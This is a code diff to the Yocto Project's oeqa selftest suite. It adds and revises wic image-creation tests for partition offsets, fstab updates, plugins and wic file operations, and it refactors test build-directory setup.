+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+
+ part_fstab_md5sum = []
+ for i in range(1, 3):
+ part = glob(os.path.join(self.resultdir, 'temp-*.direct.p') + str(i))[0]
+ part_fstab = runCmd("debugfs -R 'cat etc/fstab' %s 2>/dev/null" % (part))
+ part_fstab_md5sum.append(hashlib.md5((part_fstab.output + "\n\n").encode('utf-8')).hexdigest())
+
+ # '/etc/fstab' in partition 2 should contain the same stock fstab file
+ # as the one installed by the base-file recipe.
+ self.assertEqual(bf_fstab_md5sum, part_fstab_md5sum[1])
+
+ # '/etc/fstab' in partition 1 should contain an updated fstab file.
+ self.assertNotEqual(bf_fstab_md5sum, part_fstab_md5sum[0])
+
+ finally:
+ os.environ['PATH'] = oldpath
+
+ def test_no_fstab_update_errors(self):
+ """Test --no-fstab-update wks option error handling."""
+ wks_file = 'temp.wks'
+
+ # Absolute argument.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --no-fstab-update /etc")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ # Argument pointing to parent directory.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --no-fstab-update ././..")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ def test_extra_space(self):
+ """Test --extra-space wks option."""
+ extraspace = 1024**3
+ runCmd("wic create wictestdisk "
+ "--image-name core-image-minimal "
+ "--extra-space %i -o %s" % (extraspace ,self.resultdir))
+ wicout = glob(self.resultdir + "wictestdisk-*.direct")
+ self.assertEqual(1, len(wicout))
+ size = os.path.getsize(wicout[0])
+ self.assertTrue(size > extraspace)
+
class Wic2(WicTestCase):
def test_bmap_short(self):
@@ -500,7 +786,8 @@ class Wic2(WicTestCase):
# filter out optional variables
wicvars = wicvars.difference(('DEPLOY_DIR_IMAGE', 'IMAGE_BOOT_FILES',
'INITRD', 'INITRD_LIVE', 'ISODIR','INITRAMFS_IMAGE',
- 'INITRAMFS_IMAGE_BUNDLE', 'INITRAMFS_LINK_NAME'))
+ 'INITRAMFS_IMAGE_BUNDLE', 'INITRAMFS_LINK_NAME',
+ 'APPEND', 'IMAGE_EFI_BOOT_FILES'))
with open(path) as envfile:
content = dict(line.split("=", 1) for line in envfile)
# test if variables used by wic present in the .env file
@@ -539,7 +826,7 @@ class Wic2(WicTestCase):
def test_wic_image_type(self):
"""Test building wic images by bitbake"""
config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "wic-image-minimal"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('wic-image-minimal').status)
self.remove_config(config)
@@ -559,12 +846,12 @@ class Wic2(WicTestCase):
def test_qemu(self):
"""Test wic-image-minimal under qemu"""
config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "wic-image-minimal"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('wic-image-minimal').status)
self.remove_config(config)
- with runqemu('wic-image-minimal', ssh=False) as qemu:
+ with runqemu('wic-image-minimal', ssh=False, runqemuparams='nographic') as qemu:
cmd = "mount | grep '^/dev/' | cut -f1,3 -d ' ' | egrep -c -e '/dev/sda1 /boot' " \
"-e '/dev/root /|/dev/sda2 /' -e '/dev/sda3 /media' -e '/dev/sda4 /mnt'"
status, output = qemu.run_serial(cmd)
@@ -584,7 +871,7 @@ class Wic2(WicTestCase):
self.remove_config(config)
with runqemu('core-image-minimal', ssh=False,
- runqemuparams='ovmf', image_fstype='wic') as qemu:
+ runqemuparams='nographic ovmf', image_fstype='wic') as qemu:
cmd = "grep sda. /proc/partitions |wc -l"
status, output = qemu.run_serial(cmd)
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
@@ -601,41 +888,50 @@ class Wic2(WicTestCase):
tempf.write("part " \
"--source rootfs --ondisk hda --align 4 --fixed-size %d "
"--fstype=ext4\n" % size)
- wksname = os.path.splitext(os.path.basename(wkspath))[0]
- return wkspath, wksname
+ return wkspath
- def test_fixed_size(self):
- """
- Test creation of a simple image with partition size controlled through
- --fixed-size flag
- """
- wkspath, wksname = Wic2._make_fixed_size_wks(200)
+ def _get_wic_partitions(self, wkspath, native_sysroot=None, ignore_status=False):
+ p = runCmd("wic create %s -e core-image-minimal -o %s" % (wkspath, self.resultdir),
+ ignore_status=ignore_status)
+
+ if p.status:
+ return (p, None)
+
+ wksname = os.path.splitext(os.path.basename(wkspath))[0]
- runCmd("wic create %s -e core-image-minimal -o %s" \
- % (wkspath, self.resultdir))
- os.remove(wkspath)
wicout = glob(self.resultdir + "%s-*direct" % wksname)
- self.assertEqual(1, len(wicout))
+
+ if not wicout:
+ return (p, None)
wicimg = wicout[0]
- native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "wic-tools")
+ if not native_sysroot:
+ native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "wic-tools")
# verify partition size with wic
- res = runCmd("parted -m %s unit mib p 2>/dev/null" % wicimg,
+ res = runCmd("parted -m %s unit kib p 2>/dev/null" % wicimg,
native_sysroot=native_sysroot)
# parse parted output which looks like this:
# BYT;\n
# /var/tmp/wic/build/tmpfwvjjkf_-201611101222-hda.direct:200MiB:file:512:512:msdos::;\n
# 1:0.00MiB:200MiB:200MiB:ext4::;\n
- partlns = res.output.splitlines()[2:]
+ return (p, res.output.splitlines()[2:])
+
+ def test_fixed_size(self):
+ """
+ Test creation of a simple image with partition size controlled through
+ --fixed-size flag
+ """
+ wkspath = Wic2._make_fixed_size_wks(200)
+ _, partlns = self._get_wic_partitions(wkspath)
+ os.remove(wkspath)
- self.assertEqual(1, len(partlns),
- msg="Partition list '%s'" % res.output)
- self.assertEqual("1:0.00MiB:200MiB:200MiB:ext4::;", partlns[0],
- msg="Partition list '%s'" % res.output)
+ self.assertEqual(partlns, [
+ "1:4.00kiB:204804kiB:204800kiB:ext4::;",
+ ])
def test_fixed_size_error(self):
"""
@@ -643,39 +939,141 @@ class Wic2(WicTestCase):
--fixed-size flag. The size of partition is intentionally set to 1MiB
in order to trigger an error in wic.
"""
- wkspath, wksname = Wic2._make_fixed_size_wks(1)
-
- self.assertEqual(1, runCmd("wic create %s -e core-image-minimal -o %s" \
- % (wkspath, self.resultdir), ignore_status=True).status)
+ wkspath = Wic2._make_fixed_size_wks(1)
+ p, _ = self._get_wic_partitions(wkspath, ignore_status=True)
os.remove(wkspath)
- wicout = glob(self.resultdir + "%s-*direct" % wksname)
- self.assertEqual(0, len(wicout))
+
+ self.assertNotEqual(p.status, 0, "wic exited successfully when an error was expected:\n%s" % p.output)
+
+ def test_offset(self):
+ native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "wic-tools")
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that partitions are placed at the correct offsets, default KB
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --offset 32 --fixed-size 100M --fstype=ext4\n" \
+ "part /bar --ondisk hda --offset 102432 --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(partlns, [
+ "1:32.0kiB:102432kiB:102400kiB:ext4:primary:;",
+ "2:102432kiB:204832kiB:102400kiB:ext4:primary:;",
+ ])
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that partitions are placed at the correct offsets, same with explicit KB
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --offset 32K --fixed-size 100M --fstype=ext4\n" \
+ "part /bar --ondisk hda --offset 102432K --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(partlns, [
+ "1:32.0kiB:102432kiB:102400kiB:ext4:primary:;",
+ "2:102432kiB:204832kiB:102400kiB:ext4:primary:;",
+ ])
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that partitions are placed at the correct offsets using MB
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --offset 32K --fixed-size 100M --fstype=ext4\n" \
+ "part /bar --ondisk hda --offset 101M --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(partlns, [
+ "1:32.0kiB:102432kiB:102400kiB:ext4:primary:;",
+ "2:103424kiB:205824kiB:102400kiB:ext4:primary:;",
+ ])
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that partitions can be placed on a 512 byte sector boundary
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --offset 65s --fixed-size 99M --fstype=ext4\n" \
+ "part /bar --ondisk hda --offset 102432 --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(partlns, [
+ "1:32.5kiB:101408kiB:101376kiB:ext4:primary:;",
+ "2:102432kiB:204832kiB:102400kiB:ext4:primary:;",
+ ])
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that a partition can be placed immediately after a MSDOS partition table
+ tempf.write("bootloader --ptable msdos\n" \
+ "part / --source rootfs --ondisk hda --offset 1s --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(partlns, [
+ "1:0.50kiB:102400kiB:102400kiB:ext4::;",
+ ])
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that image creation fails if the partitions would overlap
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --offset 32 --fixed-size 100M --fstype=ext4\n" \
+ "part /bar --ondisk hda --offset 102431 --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ p, _ = self._get_wic_partitions(tempf.name, ignore_status=True)
+ self.assertNotEqual(p.status, 0, "wic exited successfully when an error was expected:\n%s" % p.output)
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that partitions are not allowed to overlap with the booloader
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --offset 8 --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ p, _ = self._get_wic_partitions(tempf.name, ignore_status=True)
+ self.assertNotEqual(p.status, 0, "wic exited successfully when an error was expected:\n%s" % p.output)
+
+ def test_extra_space(self):
+ native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "wic-tools")
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --extra-space 200M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(len(partlns), 1)
+ size = partlns[0].split(':')[3]
+ self.assertRegex(size, r'^[0-9]+kiB$')
+ size = int(size[:-3])
+ self.assertGreaterEqual(size, 204800)
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_rawcopy_plugin_qemu(self):
"""Test rawcopy plugin in qemu"""
- # build ext4 and wic images
- for fstype in ("ext4", "wic"):
- config = 'IMAGE_FSTYPES = "%s"\nWKS_FILE = "test_rawcopy_plugin.wks.in"\n' % fstype
- self.append_config(config)
- self.assertEqual(0, bitbake('core-image-minimal').status)
- self.remove_config(config)
-
- with runqemu('core-image-minimal', ssh=False, image_fstype='wic') as qemu:
+ # build ext4 and then use it for a wic image
+ config = 'IMAGE_FSTYPES = "ext4"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal').status)
+ self.remove_config(config)
+
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_rawcopy_plugin.wks.in"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal-mtdutils').status)
+ self.remove_config(config)
+
+ with runqemu('core-image-minimal-mtdutils', ssh=False,
+ runqemuparams='nographic', image_fstype='wic') as qemu:
cmd = "grep sda. /proc/partitions |wc -l"
status, output = qemu.run_serial(cmd)
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
self.assertEqual(output, '2')
- def test_rawcopy_plugin(self):
+ def _rawcopy_plugin(self, fstype):
"""Test rawcopy plugin"""
img = 'core-image-minimal'
machine = get_bb_var('MACHINE', img)
+ params = ',unpack' if fstype.endswith('.gz') else ''
with NamedTemporaryFile("w", suffix=".wks") as wks:
- wks.writelines(['part /boot --active --source bootimg-pcbios\n',
- 'part / --source rawcopy --sourceparams="file=%s-%s.ext4" --use-uuid\n'\
- % (img, machine),
- 'bootloader --timeout=0 --append="console=ttyS0,115200n8"\n'])
+ wks.write('part / --source rawcopy --sourceparams="file=%s-%s.%s%s"\n'\
+ % (img, machine, fstype, params))
wks.flush()
cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
runCmd(cmd)
@@ -683,15 +1081,47 @@ class Wic2(WicTestCase):
out = glob(self.resultdir + "%s-*direct" % wksname)
self.assertEqual(1, len(out))
+ def test_rawcopy_plugin(self):
+ self._rawcopy_plugin('ext4')
+
+ def test_rawcopy_plugin_unpack(self):
+ fstype = 'ext4.gz'
+ config = 'IMAGE_FSTYPES = "%s"\n' % fstype
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal').status)
+ self.remove_config(config)
+ self._rawcopy_plugin(fstype)
+
+ def test_empty_plugin(self):
+ """Test empty plugin"""
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_empty_plugin.wks"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal').status)
+ self.remove_config(config)
+
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'MACHINE'])
+ deploy_dir = bb_vars['DEPLOY_DIR_IMAGE']
+ machine = bb_vars['MACHINE']
+ image_path = os.path.join(deploy_dir, 'core-image-minimal-%s.wic' % machine)
+ self.assertEqual(True, os.path.exists(image_path))
+
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+
+ # Fstype column from 'wic ls' should be empty for the second partition
+ # as listed in test_empty_plugin.wks
+ result = runCmd("wic ls %s -n %s | awk -F ' ' '{print $1 \" \" $5}' | grep '^2' | wc -w" % (image_path, sysroot))
+ self.assertEqual('1', result.output)
+
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_biosplusefi_plugin_qemu(self):
"""Test biosplusefi plugin in qemu"""
- config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES_append = " efi"\n'
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('core-image-minimal').status)
self.remove_config(config)
- with runqemu('core-image-minimal', ssh=False, image_fstype='wic') as qemu:
+ with runqemu('core-image-minimal', ssh=False,
+ runqemuparams='nographic', image_fstype='wic') as qemu:
# Check that we have ONLY two /dev/sda* partitions (/boot and /)
cmd = "grep sda. /proc/partitions | wc -l"
status, output = qemu.run_serial(cmd)
@@ -723,7 +1153,7 @@ class Wic2(WicTestCase):
# If an image hasn't been built yet, directory ${STAGING_DATADIR}/syslinux won't exists and _get_bootimg_dir()
# will raise with "Couldn't find correct bootimg_dir"
# The easiest way to work-around this issue is to make sure we already built an image here, hence the bitbake call
- config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES_append = " efi"\n'
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
self.assertEqual(0, bitbake('core-image-minimal').status)
self.remove_config(config)
@@ -740,6 +1170,35 @@ class Wic2(WicTestCase):
out = glob(self.resultdir + "%s-*.direct" % wksname)
self.assertEqual(1, len(out))
+ @only_for_arch(['i586', 'i686', 'x86_64'])
+ def test_efi_plugin_unified_kernel_image_qemu(self):
+ """Test efi plugin's Unified Kernel Image feature in qemu"""
+ config = 'IMAGE_FSTYPES = "wic"\n'\
+ 'INITRAMFS_IMAGE = "core-image-minimal-initramfs"\n'\
+ 'WKS_FILE = "test_efi_plugin.wks"\n'\
+ 'MACHINE_FEATURES:append = " efi"\n'
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal core-image-minimal-initramfs ovmf').status)
+ self.remove_config(config)
+
+ with runqemu('core-image-minimal', ssh=False,
+ runqemuparams='nographic ovmf', image_fstype='wic') as qemu:
+ # Check that /boot has EFI bootx64.efi (required for EFI)
+ cmd = "ls /boot/EFI/BOOT/bootx64.efi | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '1')
+ # Check that /boot has EFI/Linux/linux.efi (required for Unified Kernel Images auto detection)
+ cmd = "ls /boot/EFI/Linux/linux.efi | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '1')
+ # Check that /boot doesn't have loader/entries/boot.conf (Unified Kernel Images are auto detected by the bootloader)
+ cmd = "ls /boot/loader/entries/boot.conf 2&>/dev/null | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '0')
+
def test_fs_types(self):
"""Test filesystem types for empty and not empty partitions"""
img = 'core-image-minimal'
@@ -866,6 +1325,13 @@ class Wic2(WicTestCase):
self.assertEqual(8, len(result.output.split('\n')))
self.assertTrue(os.path.basename(testdir) in result.output)
+ # copy the file from the partition and check if it success
+ dest = '%s-cp' % testfile.name
+ runCmd("wic cp %s:1/%s %s -n %s" % (images[0],
+ os.path.basename(testfile.name), dest, sysroot))
+ self.assertTrue(os.path.exists(dest))
+
+
def test_wic_rm(self):
"""Test removing files and directories from the the wic image."""
runCmd("wic create mkefidisk "
@@ -950,11 +1416,11 @@ class Wic2(WicTestCase):
result = runCmd("%s/usr/sbin/sfdisk -F %s" % (sysroot, new_image_path))
self.assertTrue("0 B, 0 bytes, 0 sectors" in result.output)
- os.rename(image_path, image_path + '.bak')
- os.rename(new_image_path, image_path)
+ bb.utils.rename(image_path, image_path + '.bak')
+ bb.utils.rename(new_image_path, image_path)
# Check if it boots in qemu
- with runqemu('core-image-minimal', ssh=False) as qemu:
+ with runqemu('core-image-minimal', ssh=False, runqemuparams='nographic') as qemu:
cmd = "ls /etc/"
status, output = qemu.run_serial('true')
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
@@ -962,7 +1428,7 @@ class Wic2(WicTestCase):
if os.path.exists(new_image_path):
os.unlink(new_image_path)
if os.path.exists(image_path + '.bak'):
- os.rename(image_path + '.bak', image_path)
+ bb.utils.rename(image_path + '.bak', image_path)
def test_wic_ls_ext(self):
"""Test listing content of the ext partition using 'wic ls'"""
@@ -1005,6 +1471,16 @@ class Wic2(WicTestCase):
newdirs = set(line.split()[-1] for line in result.output.split('\n') if line)
self.assertEqual(newdirs.difference(dirs), set([os.path.basename(testfile.name)]))
+ # check if the file to copy is in the partition
+ result = runCmd("wic ls %s:2/etc/ -n %s" % (images[0], sysroot))
+ self.assertTrue('fstab' in [line.split()[-1] for line in result.output.split('\n') if line])
+
+ # copy file from the partition, replace the temporary file content with it and
+ # check for the file size to validate the copy
+ runCmd("wic cp %s:2/etc/fstab %s -n %s" % (images[0], testfile.name, sysroot))
+ self.assertTrue(os.stat(testfile.name).st_size > 0)
+
+
def test_wic_rm_ext(self):
"""Test removing files from the ext partition."""
runCmd("wic create mkefidisk "
@@ -1025,3 +1501,10 @@ class Wic2(WicTestCase):
# check if it's removed
result = runCmd("wic ls %s:2/etc/ -n %s" % (images[0], sysroot))
self.assertTrue('fstab' not in [line.split()[-1] for line in result.output.split('\n') if line])
+
+ # remove non-empty directory
+ runCmd("wic rm -r %s:2/etc/ -n %s" % (images[0], sysroot))
+
+ # check if it's removed
+ result = runCmd("wic ls %s:2/ -n %s" % (images[0], sysroot))
+ self.assertTrue('etc' not in [line.split()[-1] for line in result.output.split('\n') if line])
diff --git a/meta/lib/oeqa/selftest/context.py b/meta/lib/oeqa/selftest/context.py
index c4eb5d614e..78c7a467e2 100644
--- a/meta/lib/oeqa/selftest/context.py
+++ b/meta/lib/oeqa/selftest/context.py
@@ -9,25 +9,124 @@ import time
import glob
import sys
import importlib
-import signal
-from shutil import copyfile
+import subprocess
+import unittest
from random import choice
import oeqa
import oe
+import bb.utils
from oeqa.core.context import OETestContext, OETestContextExecutor
from oeqa.core.exception import OEQAPreRun, OEQATestNotFound
from oeqa.utils.commands import runCmd, get_bb_vars, get_test_layer
+class NonConcurrentTestSuite(unittest.TestSuite):
+ def __init__(self, suite, processes, setupfunc, removefunc):
+ super().__init__([suite])
+ self.processes = processes
+ self.suite = suite
+ self.setupfunc = setupfunc
+ self.removefunc = removefunc
+
+ def run(self, result):
+ (builddir, newbuilddir) = self.setupfunc("-st", None, self.suite)
+ ret = super().run(result)
+ os.chdir(builddir)
+ if newbuilddir and ret.wasSuccessful() and self.removefunc:
+ self.removefunc(newbuilddir)
+
+def removebuilddir(d):
+ delay = 5
+ while delay and (os.path.exists(d + "/bitbake.lock") or os.path.exists(d + "/cache/hashserv.db-wal")):
+ time.sleep(1)
+ delay = delay - 1
+ # Deleting these directories takes a lot of time, use autobuilder
+ # clobberdir if its available
+ clobberdir = os.path.expanduser("~/yocto-autobuilder-helper/janitor/clobberdir")
+ if os.path.exists(clobberdir):
+ try:
+ subprocess.check_call([clobberdir, d])
+ return
+ except subprocess.CalledProcessError:
+ pass
+ bb.utils.prunedir(d, ionice=True)
+
class OESelftestTestContext(OETestContext):
- def __init__(self, td=None, logger=None, machines=None, config_paths=None):
+ def __init__(self, td=None, logger=None, machines=None, config_paths=None, newbuilddir=None, keep_builddir=None):
super(OESelftestTestContext, self).__init__(td, logger)
self.machines = machines
self.custommachine = None
self.config_paths = config_paths
+ self.newbuilddir = newbuilddir
+
+ if keep_builddir:
+ self.removebuilddir = None
+ else:
+ self.removebuilddir = removebuilddir
+
+ def setup_builddir(self, suffix, selftestdir, suite):
+ builddir = os.environ['BUILDDIR']
+ if not selftestdir:
+ selftestdir = get_test_layer()
+ if self.newbuilddir:
+ newbuilddir = os.path.join(self.newbuilddir, 'build' + suffix)
+ else:
+ newbuilddir = builddir + suffix
+ newselftestdir = newbuilddir + "/meta-selftest"
+
+ if os.path.exists(newbuilddir):
+ self.logger.error("Build directory %s already exists, aborting" % newbuilddir)
+ sys.exit(1)
+
+ bb.utils.mkdirhier(newbuilddir)
+ oe.path.copytree(builddir + "/conf", newbuilddir + "/conf")
+ oe.path.copytree(builddir + "/cache", newbuilddir + "/cache")
+ oe.path.copytree(selftestdir, newselftestdir)
+
+ for e in os.environ:
+ if builddir + "/" in os.environ[e]:
+ os.environ[e] = os.environ[e].replace(builddir + "/", newbuilddir + "/")
+ if os.environ[e].endswith(builddir):
+ os.environ[e] = os.environ[e].replace(builddir, newbuilddir)
+
+ subprocess.check_output("git init; git add *; git commit -a -m 'initial'", cwd=newselftestdir, shell=True)
+
+ # Tried to used bitbake-layers add/remove but it requires recipe parsing and hence is too slow
+ subprocess.check_output("sed %s/conf/bblayers.conf -i -e 's#%s#%s#g'" % (newbuilddir, selftestdir, newselftestdir), cwd=newbuilddir, shell=True)
+
+ os.chdir(newbuilddir)
+
+ def patch_test(t):
+ if not hasattr(t, "tc"):
+ return
+ cp = t.tc.config_paths
+ for p in cp:
+ if selftestdir in cp[p] and newselftestdir not in cp[p]:
+ cp[p] = cp[p].replace(selftestdir, newselftestdir)
+ if builddir in cp[p] and newbuilddir not in cp[p]:
+ cp[p] = cp[p].replace(builddir, newbuilddir)
+
+ def patch_suite(s):
+ for x in s:
+ if isinstance(x, unittest.TestSuite):
+ patch_suite(x)
+ else:
+ patch_test(x)
+
+ patch_suite(suite)
+
+ return (builddir, newbuilddir)
+
+ def prepareSuite(self, suites, processes):
+ if processes:
+ from oeqa.core.utils.concurrencytest import ConcurrentTestSuite
+
+ return ConcurrentTestSuite(suites, processes, self.setup_builddir, self.removebuilddir)
+ else:
+ return NonConcurrentTestSuite(suites, processes, self.setup_builddir, self.removebuilddir)
def runTests(self, processes=None, machine=None, skips=[]):
if machine:
@@ -85,6 +184,11 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
action='append', default=None,
help='Exclude all (unhidden) tests that match any of the specified tag(s). (exclude applies before select)')
+ parser.add_argument('-K', '--keep-builddir', action='store_true',
+ help='Keep the test build directory even if all tests pass')
+
+ parser.add_argument('-B', '--newbuilddir', help='New build directory to use for tests.')
+ parser.add_argument('-v', '--verbose', action='store_true')
parser.set_defaults(func=self.run)
def _get_available_machines(self):
@@ -135,26 +239,12 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
builddir = os.environ.get("BUILDDIR")
self.tc_kwargs['init']['config_paths'] = {}
- self.tc_kwargs['init']['config_paths']['testlayer_path'] = \
- get_test_layer()
+ self.tc_kwargs['init']['config_paths']['testlayer_path'] = get_test_layer()
self.tc_kwargs['init']['config_paths']['builddir'] = builddir
- self.tc_kwargs['init']['config_paths']['localconf'] = \
- os.path.join(builddir, "conf/local.conf")
- self.tc_kwargs['init']['config_paths']['localconf_backup'] = \
- os.path.join(builddir, "conf/local.conf.orig")
- self.tc_kwargs['init']['config_paths']['localconf_class_backup'] = \
- os.path.join(builddir, "conf/local.conf.bk")
- self.tc_kwargs['init']['config_paths']['bblayers'] = \
- os.path.join(builddir, "conf/bblayers.conf")
- self.tc_kwargs['init']['config_paths']['bblayers_backup'] = \
- os.path.join(builddir, "conf/bblayers.conf.orig")
- self.tc_kwargs['init']['config_paths']['bblayers_class_backup'] = \
- os.path.join(builddir, "conf/bblayers.conf.bk")
-
- copyfile(self.tc_kwargs['init']['config_paths']['localconf'],
- self.tc_kwargs['init']['config_paths']['localconf_backup'])
- copyfile(self.tc_kwargs['init']['config_paths']['bblayers'],
- self.tc_kwargs['init']['config_paths']['bblayers_backup'])
+ self.tc_kwargs['init']['config_paths']['localconf'] = os.path.join(builddir, "conf/local.conf")
+ self.tc_kwargs['init']['config_paths']['bblayers'] = os.path.join(builddir, "conf/bblayers.conf")
+ self.tc_kwargs['init']['newbuilddir'] = args.newbuilddir
+ self.tc_kwargs['init']['keep_builddir'] = args.keep_builddir
def tag_filter(tags):
if args.exclude_tags:
@@ -279,14 +369,9 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
return rc
- def _signal_clean_handler(self, signum, frame):
- sys.exit(1)
-
def run(self, logger, args):
self._process_args(logger, args)
- signal.signal(signal.SIGTERM, self._signal_clean_handler)
-
rc = None
try:
if args.machine:
@@ -315,20 +400,6 @@ class OESelftestTestContextExecutor(OETestContextExecutor):
rc = self._internal_run(logger, args)
finally:
config_paths = self.tc_kwargs['init']['config_paths']
- if os.path.exists(config_paths['localconf_backup']):
- copyfile(config_paths['localconf_backup'],
- config_paths['localconf'])
- os.remove(config_paths['localconf_backup'])
-
- if os.path.exists(config_paths['bblayers_backup']):
- copyfile(config_paths['bblayers_backup'],
- config_paths['bblayers'])
- os.remove(config_paths['bblayers_backup'])
-
- if os.path.exists(config_paths['localconf_class_backup']):
- os.remove(config_paths['localconf_class_backup'])
- if os.path.exists(config_paths['bblayers_class_backup']):
- os.remove(config_paths['bblayers_class_backup'])
output_link = os.path.join(os.path.dirname(args.output_log),
"%s-results.log" % self.name)
diff --git a/meta/lib/oeqa/targetcontrol.py b/meta/lib/oeqa/targetcontrol.py
index 1445e3ecfb..1fdff82889 100644
--- a/meta/lib/oeqa/targetcontrol.py
+++ b/meta/lib/oeqa/targetcontrol.py
@@ -17,6 +17,7 @@ from oeqa.utils.sshcontrol import SSHControl
from oeqa.utils.qemurunner import QemuRunner
from oeqa.utils.qemutinyrunner import QemuTinyRunner
from oeqa.utils.dump import TargetDumper
+from oeqa.utils.dump import MonitorDumper
from oeqa.controllers.testtargetloader import TestTargetLoader
from abc import ABCMeta, abstractmethod
@@ -108,6 +109,7 @@ class QemuTarget(BaseTarget):
self.qemulog = os.path.join(self.testdir, "qemu_boot_log.%s" % self.datetime)
dump_target_cmds = d.getVar("testimage_dump_target")
dump_host_cmds = d.getVar("testimage_dump_host")
+ dump_monitor_cmds = d.getVar("testimage_dump_monitor")
dump_dir = d.getVar("TESTIMAGE_DUMP_DIR")
if not dump_dir:
dump_dir = os.path.join(d.getVar('LOG_DIR'), 'runtime-hostdump')
@@ -117,9 +119,9 @@ class QemuTarget(BaseTarget):
import oe.path
bb.utils.mkdirhier(self.testdir)
self.qemurunnerlog = os.path.join(self.testdir, 'qemurunner_log.%s' % self.datetime)
- loggerhandler = logging.FileHandler(self.qemurunnerlog)
- loggerhandler.setFormatter(logging.Formatter("%(levelname)s: %(message)s"))
- self.logger.addHandler(loggerhandler)
+ self.loggerhandler = logging.FileHandler(self.qemurunnerlog)
+ self.loggerhandler.setFormatter(logging.Formatter("%(levelname)s: %(message)s"))
+ self.logger.addHandler(self.loggerhandler)
